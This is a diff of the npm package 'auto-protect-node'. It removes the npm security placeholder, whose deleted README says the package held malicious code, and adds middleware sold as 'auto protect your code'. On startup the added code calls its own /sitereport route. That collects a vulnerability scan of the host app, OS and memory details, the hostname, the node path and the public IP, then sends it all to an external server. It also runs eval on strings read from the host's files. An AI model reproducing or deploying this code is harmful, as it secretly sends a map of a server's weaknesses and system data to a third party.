+ hashingMethod = "crypto";
932
+ }
933
+ if (hashingMethod) {
934
+ const passwordweakOrNot = weakAlgorithms.includes(hashingMethod)
935
+ ? "weak"
936
+ : "not weak";
937
+ // Application database stores password in plain text
938
+ results.push(
939
+ `Found ${hashingMethod} password hashing method on ${filePath} at line ${lineNumber}password is ${passwordweakOrNot}`
940
+ );
941
+ } else {
942
+ // Application database not stores password in plain text
943
+ results.push(
944
+ `Found a File: ${filePath} without password hashing at line ${lineNumber}`
945
+ );
946
+ }
947
+ }
948
+ }
949
+ }
950
+ }
951
+ }
952
+
953
+ return results;
954
+ }
955
+ // OPTIONS method
956
+ async function scanDirectoryOptionMethod(routes) {
957
+ const results = [];
958
+ return new Promise((resolve, reject) => {
959
+ try {
960
+ routes.forEach((item) => {
961
+ if (item.methods.includes("OPTIONS")) {
962
+ results.push(`The path '${item.path}' uses the OPTIONS method`);
963
+ }
964
+ });
965
+ if (results.length > 0) {
966
+ resolve(results); // OPTIONS method enabled
967
+ } else {
968
+ resolve(null); // OPTIONS method disabled
969
+ }
970
+ } catch (error) {
971
+ reject(error);
972
+ }
973
+ });
974
+ }
975
+ // application_accepts_arbitrary_methods
976
+ async function ScanDangerousMethods(routes) {
977
+ const results = [];
978
+ const dangerousMethods = ["DELETE", "PUT", "PATCH"];
979
+ return new Promise((resolve, reject) => {
980
+ try {
981
+ routes.forEach((item) => {
982
+ const hasDangerousMethod = dangerousMethods.some((method) =>
983
+ item.methods.includes(method)
984
+ );
985
+ if (hasDangerousMethod) {
986
+ const dangerousMethod = item.methods.find((method) =>
987
+ dangerousMethods.includes(method)
988
+ );
989
+ results.push(
990
+ `The path '${item.path}' uses the '${dangerousMethod}' method`
991
+ );
992
+ }
993
+ });
994
+ if (results.length > 0) {
995
+ resolve(results); //application_accepts_arbitrary_methods
996
+ } else {
997
+ resolve(null); //application_ not_accepts_arbitrary_methods
998
+ }
999
+ } catch (error) {
1000
+ reject(error);
1001
+ }
1002
+ });
1003
+ }
1004
+ const CheckAdminAcess = (app) => {
1005
+ return new Promise((resolve, reject) => {
1006
+ fs.readdir(rootDirectory, (err, files) => {
1007
+ if (err) {
1008
+ console.error(
1009
+ "An error occurred while scanning the root directory:",
1010
+ err
1011
+ );
1012
+ reject(err);
1013
+ return;
1014
+ }
1015
+
1016
+ // Find admin-related folders
1017
+ const adminFolders = files.filter((file) => {
1018
+ const folderPath = path.join(rootDirectory, file);
1019
+ return (
1020
+ fs.statSync(folderPath).isDirectory() && adminFolderPattern.test(file)
1021
+ );
1022
+ });
1023
+
1024
+ if (adminFolders.length > 0) {
1025
+ const promises = adminFolders.map((folder) => {
1026
+ return new Promise((resolve, reject) => {
1027
+ fs.access(folder, fs.constants.F_OK, (err) => {
1028
+ if (err) {
1029
+ resolve("Admin folder does not exist.");
1030
+ } else {
1031
+ // Check if the admin folder is publicly accessible
1032
+ fs.access(folder, fs.constants.R_OK, (err) => {
1033
+ if (err) {
1034
+ resolve(
1035
+ "Admin folder is private and not publicly accessible."
1036
+ );
1037
+ } else {
1038
+ resolve("Admin folder is publicly accessible.");
1039
+ }
1040
+ });
1041
+ }
1042
+ });
1043
+ });
1044
+ });
1045
+ Promise.all(promises)
1046
+ .then((results) => {
1047
+ resolve(results);
1048
+ })
1049
+ .catch((error) => {
1050
+ reject(error);
1051
+ });
1052
+ } else {
1053
+ resolve("No admin-related folders found in the root directory.");
1054
+ }
1055
+ });
1056
+ });
1057
+ };
1058
+ //
1059
+ async function GetAllData(req) {
1060
+ const app=req.app, server=req.server,hostname=req.domain
1061
+ const data = [];
1062
+ data.push({ hostname });
1063
+ var serverTimeout;
1064
+ if (server.timeout === 0) {
1065
+ serverTimeout =
1066
+ "Max server TimeOut is Not set Please set because it is infinite ";
1067
+ } else {
1068
+ serverTimeout = "Max server TimeOut is " + server.timeout;
1069
+ }
1070
+ var routes = getEndpoints(app);
1071
+ let defaultWebpage = routes.filter((val) => {
1072
+ return val.path === "/";
1073
+ });
1074
+ if (defaultWebpage.length > 0) {
1075
+ data.push({ Default_web_page_present_in_the_server: "Available" });
1076
+ } else {
1077
+ data.push({ Default_web_page_present_in_the_server: "Not Avaialble" });
1078
+ }
1079
+ data.push({ test_for_limits_put_on_the_functions_usage: serverTimeout });
1080
+ const sessionMiddleware = app._router.stack.find(
1081
+ (middleware) => middleware.handle.name === "session"
1082
+ );
1083
+ const jsonwebtokenInUse = await scanFileForJwtVerify(rootDirectory);
1084
+ const SqlinUse = await scanFileForSql(rootDirectory);
1085
+
1086
+ return new Promise((resolve, reject) => {
1087
+ const RedirectVulnerability = scanDirectoryForRedirectVulnerability(
1088
+ rootDirectory
1089
+ )
1090
+ .then((vulnerabilities) => {
1091
+ if (vulnerabilities.length > 0) {
1092
+ data.push({
1093
+ Redirect_Vulnerability_present_in_the_server:
1094
+ "Available" + vulnerabilities,
1095
+ });
1096
+ } else {
1097
+ data.push({
1098
+ Redirect_Vulnerability_present_in_the_server: "Not Available",
1099
+ });
1100
+ }
1101
+ })
1102
+ .catch((error) => {
1103
+ console.error("Error:", error);
1104
+ });
1105
+ // Management interface is not restricted for specific IPs
1106
+ const adminAccessPromise = CheckAdminAcess(app)
1107
+ .then((results) => {
1108
+ data.push({
1109
+ management_interface_is_not_restricted_for_specific_ips:
1110
+ results.toString(),
1111
+ });
1112
+ })
1113
+ .catch((error) => {
1114
+ console.error(error);
1115
+ });
1116
+ const sessionDirectoryPromise = scanSessionDirectory(rootDirectory, app)
1117
+ .then((results) => {
1118
+ if (results.length > 0) {
1119
+ const sevenDays = 86400000 * 7;
1120
+ const oneMinute = 60000;
1121
+ if (sessionMiddleware) {
1122
+ data.push({ session: "session found" });
1123
+ for (const r of results) {
1124
+ if (r.sessionResult) {
1125
+ const cookieString = r.sessionResult.sessionConfig.replace(
1126
+ "cookie:",
1127
+ ""
1128
+ );
1129
+ const cookieObject = eval(`(${cookieString})`);
1130
+ const isSecureTransmission = cookieObject.secure;
1131
+ data.push({
1132
+ isSecureTransmission: `Ensuring session IDs are securely transmitted over encrypted channels (HTTPS): ${isSecureTransmission}`,
1133
+ });
1134
+ if (
1135
+ cookieObject["maxage"] === false ||
1136
+ cookieObject["expires"] === false
1137
+ ) {
1138
+ data.push({
1139
+ sessionTime:
1140
+ "Session does not expire on closing the browser",
1141
+ });
1142
+ } else if (
1143
+ cookieObject["maxage"] === null ||
1144
+ cookieObject["expires"] === null
1145
+ ) {
1146
+ data.push({ Session_Time: "Infinite" });
1147
+ } else if (
1148
+ cookieObject["maxage"] > sevenDays ||
1149
+ cookieObject["expires"] > sevenDays
1150
+ ) {
1151
+ data.push({ Session_time_out: "High" });
1152
+ } else if (
1153
+ cookieObject["maxage"] < oneMinute ||
1154
+ cookieObject["expires"] < oneMinute
1155
+ ) {
1156
+ data.push({ Session_time_out: "Low" });
1157
+ } else {
1158
+ data.push({ Session_time_out: "Normal" });
1159
+ }
1160
+ }
1161
+ // An adversary can hijack user sessions by session fixation
1162
+ if (r.sessionFixation) {
1163
+ data.push({ session_fixation: r.sessionFixation });
1164
+ }
1165
+ }
1166
+ } else if (!sessionMiddleware) {
1167
+ data.push({ session: "session not found" });
1168
+ }
1169
+
1170
+ // Session token being passed in other areas apart from cookie
1171
+ if (jsonwebtokenInUse.length > 0) {
1172
+ data.push({
1173
+ can_session_puzzling_be_used_to_bypass_authentication_or_authorization:
1174
+ "Yes,So Please Secure Your AccessToken",
1175
+ });
1176
+ } else if (jsonwebtokenInUse.length === 0) {
1177
+ data.push({
1178
+ session_token_being_passed_in_other_areas_apart_from_cookie: "No",
1179
+ });
1180
+ }
1181
+ // Sql in Use
1182
+ if (SqlinUse.length > 0) {
1183
+ data.push(SqlinUse[0]);
1184
+ } else if (SqlinUse.length === 0) {
1185
+ data.push({
1186
+ SqlDatabaseIsNotuse: "SqlDatabase Is Not use",
1187
+ });
1188
+ }
1189
+ }
1190
+ })
1191
+ .catch((error) => {
1192
+ console.error("An error occurred during directory scanning:", error);
1193
+ });
1194
+
1195
+ // Application database not stores password in plain text
1196
+ const passwordHashingPromise = ScanPasswordHashing(rootDirectory, app)
1197
+ .then((results) => {
1198
+ if (results.length > 0) {
1199
+ const finalString = results.join("\r\n");
1200
+ data.push({ ScanPasswordHashing: finalString });
1201
+ return finalString;
1202
+ } else {
1203
+ data.push(
1204
+ "Not found any file where register and login methods are available"
1205
+ );
1206
+ }
1207
+ })
1208
+ .catch((error) => {
1209
+ console.error("An error occurred during directory scanning:", error);
1210
+ return "An error occurred during directory scanning";
1211
+ });
1212
+ // OPTIONS method
1213
+ const directoryOptionMethodPromise = scanDirectoryOptionMethod(routes)
1214
+ .then((results) => {
1215
+ if (!results) {
1216
+ data.push({ options_method_enable: "No Options Method Find" }); // OPTIONS method disabled
1217
+ } else if (results.length > 0) {
1218
+ data.push({ options_method_enable: results }); // OPTIONS method enabled
1219
+ }
1220
+ })
1221
+ .catch((error) => {
1222
+ console.error("An error occurred during directory scanning:", error);
1223
+ return "An error occurred during directory scanning";
1224
+ });
1225
+ // application_accepts_arbitrary_methods
1226
+ const dangerousMethodsPromise = ScanDangerousMethods(routes)
1227
+ .then((results) => {
1228
+ if (results === null) {
1229
+ data.push({
1230
+ application_accepts_arbitrary_methods:
1231
+ "Dangerous methods not found",
1232
+ }); //application not _accepts_arbitrary_methods
1233
+ } else if (results.length > 0) {
1234
+ const dangerousMethodsFinalString = results.join("\r\n");
1235
+ data.push({
1236
+ application_accepts_arbitrary_methods: dangerousMethodsFinalString,
1237
+ }); // application_accepts_arbitrary_methods
1238
+ }
1239
+ })
1240
+ .catch((error) => {
1241
+ console.error("An error occurred during directory scanning:", error);
1242
+ return "An error occurred during directory scanning";
1243
+ });
1244
+ Promise.all([
1245
+ adminAccessPromise,
1246
+ sessionDirectoryPromise,
1247
+ passwordHashingPromise,
1248
+ directoryOptionMethodPromise,
1249
+ dangerousMethodsPromise,
1250
+ RedirectVulnerability,
1251
+ ])
1252
+ .then(async() => {
1253
+ resolve(data);
1254
+ })
1255
+ .catch((error) => {
1256
+ reject("An error occurred during promise execution:");
1257
+ console.error("An error occurred during promise execution:", error);
1258
+ });
1259
+ });
1260
+ }
1261
+ // end GetAllData
1262
+ // controllers
1263
+ const combinedController = async (req, res) => {
1264
+ if (req.alloweddomain.allowed) {
1265
+ let result1, result2;
1266
+ try {
1267
+ const params=req.query || req.params
1268
+ result1 = await GetAllData(req);
1269
+ result2 = await sendServerInfo(req);
1270
+ const combinedData = {
1271
+ result1: result1,
1272
+ result2: result2
1273
+ };
1274
+ console.log({combinedData})
1275
+
1276
+ const response = await useCustomFetch(`${baseUrl}/sitereport?data=${JSON.stringify(combinedData)}&hostname=${req.domain}&params=${params}`);
1277
+ console.log(response.data);
1278
+ return res.status(200).json(response.data);
1279
+ } catch (error) {
1280
+ console.error(error);
1281
+ return res.status(500).json({ error: "Internal Server Error" });
1282
+ }
1283
+ } else {
1284
+ return res.status(404).json("Your domain is not authenticated");
1285
+ }
1286
+ };
1287
+ // serverinfo
1288
+ const sendServerInfo=async(req)=>{
1289
+ return new Promise(async(resolve,reject)=>{
1290
+ try {
1291
+ const server=req.server
1292
+ const hostname=req.domain
1293
+ const origin = req.headers.origin;
1294
+ const Allow_Access_control_origin= origin && res.get("Access-Control-Allow-Origin") === "*"?"Access-Control-Allow-Origin is Set to *":"Access-Control-Allow-Origin is not Set to *"
1295
+ let version=process.version
1296
+ version = version. replace(/^./, "")
1297
+ let responseserver= await useCustomFetch('http://ip-api.com/json/');
1298
+ responseserver=responseserver.data
1299
+ const information ={node_version:process.version,serverport:server.address().port,Allow_Access_control_origin, osVersion: os.version(), platform: os.platform(), totalmem:os.totalmem(), freemem:os.freemem(), type:os.type(), servername: os.hostname(), hostname:os.hostname(),nodeenvronment:process.execPath,version,...responseserver }
1300
+ resolve({hostname,information});
1301
+ } catch (error) {
1302
+ reject(error)
1303
+ }
1304
+ })
1305
+
1306
+ }
1307
+
1308
+ const dependencyChecker = (res) => {
1309
+ const command = 'npm audit';
1310
+ const childProcess = exec(command);
1311
+ childProcess.stdout.on('data', (data) => {
1312
+ // console.log({ data });
1313
+
1314
+ });
1315
+ childProcess.stderr.on('data', (err) => {
1316
+ // console.log({ err });
1317
+
1318
+ });
1319
+ childProcess.on('close', (code) => {
1320
+ if (code === 0) {
1321
+ // console.log('Process Complete\n');
1322
+
1323
+ } else {
1324
+ // console.log(`Error. Exit code: ${code}\n`);
1325
+
1326
+ }
1327
+ });
1328
+ };
1329
+
1330
+ const HostValidator = (app, server,sid) => {
1331
+ return async (req, res, next) => {
1332
+ const allowedDomain = await Ialloweddomain(sid);
1333
+ req.app = app;
1334
+ req.server = server;
1335
+ req.domain = sid;
1336
+ req.alloweddomain = allowedDomain;
1337
+ next();
1338
+ };
1339
+ };
1340
+ const callData=async(app)=>{
1341
+ const request = require('supertest');
1342
+ const site_response = await request(app).get('/sitereport?id=1&id=3');
1343
+
1344
+ }
1345
+ const Ialloweddomain=async(hostname)=>{
1346
+ try {
1347
+ const response=await useCustomFetch(`${baseUrl}/alloweddomains?hostname=${hostname}`)
1348
+
1349
+ // console.log(response.status)
1350
+ if(response.status===200){
1351
+ return {allowed:true}
1352
+ }else if(response.status===404){
1353
+ return {allowed:false}
1354
+ }
1355
+ return response.status
1356
+ } catch (error) {
1357
+ if(error){
1358
+ return {allowed:false}
1359
+ }
1360
+ }
1361
+
1362
+ }
1363
+ // Call Middleware For Secure Your Application
1364
+ exports.AutoProtect=(app,server,sid) => {
1365
+ try {
1366
+ app.use(helmet())
1367
+ app.use(HostValidator(app, server, sid));
1368
+ app.use(Middleware);
1369
+ app.get("/sitereport", combinedController);
1370
+ console.log("Process Start Please wait")
1371
+ callData(app)
1372
+
1373
+ } catch (error) {
1374
+ console.log(error)
1375
+ }
1376
+ };
package/package.json CHANGED
@@ -1,6 +1,26 @@
1
- {
2
- "name": "auto-protect-node",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "auto-protect-node",
3
+ "version": "1.0.1",
4
+ "description": "auto protect your code",
5
+ "main": "app.js",
6
+ "scripts": {
7
+ "dev": "nodemon app.js"
8
+ },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "git+https://github.com/shivam-handsintechnology/auto-protect-node.git"
12
+ },
13
+ "keywords": [
14
+ "security"
15
+ ],
16
+ "author": "handsintechnology",
17
+ "license": "ISC",
18
+ "bugs": {
19
+ "url": "https://github.com/shivam-handsintechnology/auto-protect-node/issues"
20
+ },
21
+ "homepage": "https://github.com/shivam-handsintechnology/auto-protect-node#readme",
22
+ "dependencies": {
23
+ "helmet": "^7.0.0",
24
+ "supertest": "^6.3.3"
25
+ }
26
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=auto-protect-node for more information.